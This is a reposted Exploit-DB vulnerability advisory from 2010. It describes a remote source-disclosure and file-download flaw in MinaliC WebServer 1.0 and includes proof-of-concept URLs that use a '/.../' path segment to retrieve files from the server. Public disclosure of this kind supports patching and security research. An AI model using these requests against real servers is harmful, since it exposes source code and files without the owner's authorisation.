MinaliC WebServer 1.0 – Remote Source Disclosure / File Download - 体验盒子

作者： Dr_IDE

日期： 2010-10-27

类别：

remote

平台：

windows

来源：https://www.exploit-db.com/exploits/15336/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

###################################################################

#

# MinaliC Webserver 1.0 Remote Source Disclosure/File Download

# Found By: Dr_IDE

# Date: October 27, 2010

# Download: http://sourceforge.net/projects/minalic/

# Tested on:Windows 7

# Greets: edb team & John Leitch for finding the app

#

###################################################################

- Description -

MinialiC Webserver v1.0 is a Windows based HTTP server. This is the latest

version of the application available.

MinialiC Webserver v1.0 is vulnerable to common remote source disclosure attacks.

- Technical Details - (This is with Directory browsing = Off)

http://[ webserver IP][:port][/.../]index.html(Source Disclosure)

http://[ webserver IP][:port][/.../]logo.bmp(File Download)

http://localhost:8080/.../index.html

#[pocoftheday.blogspot.com]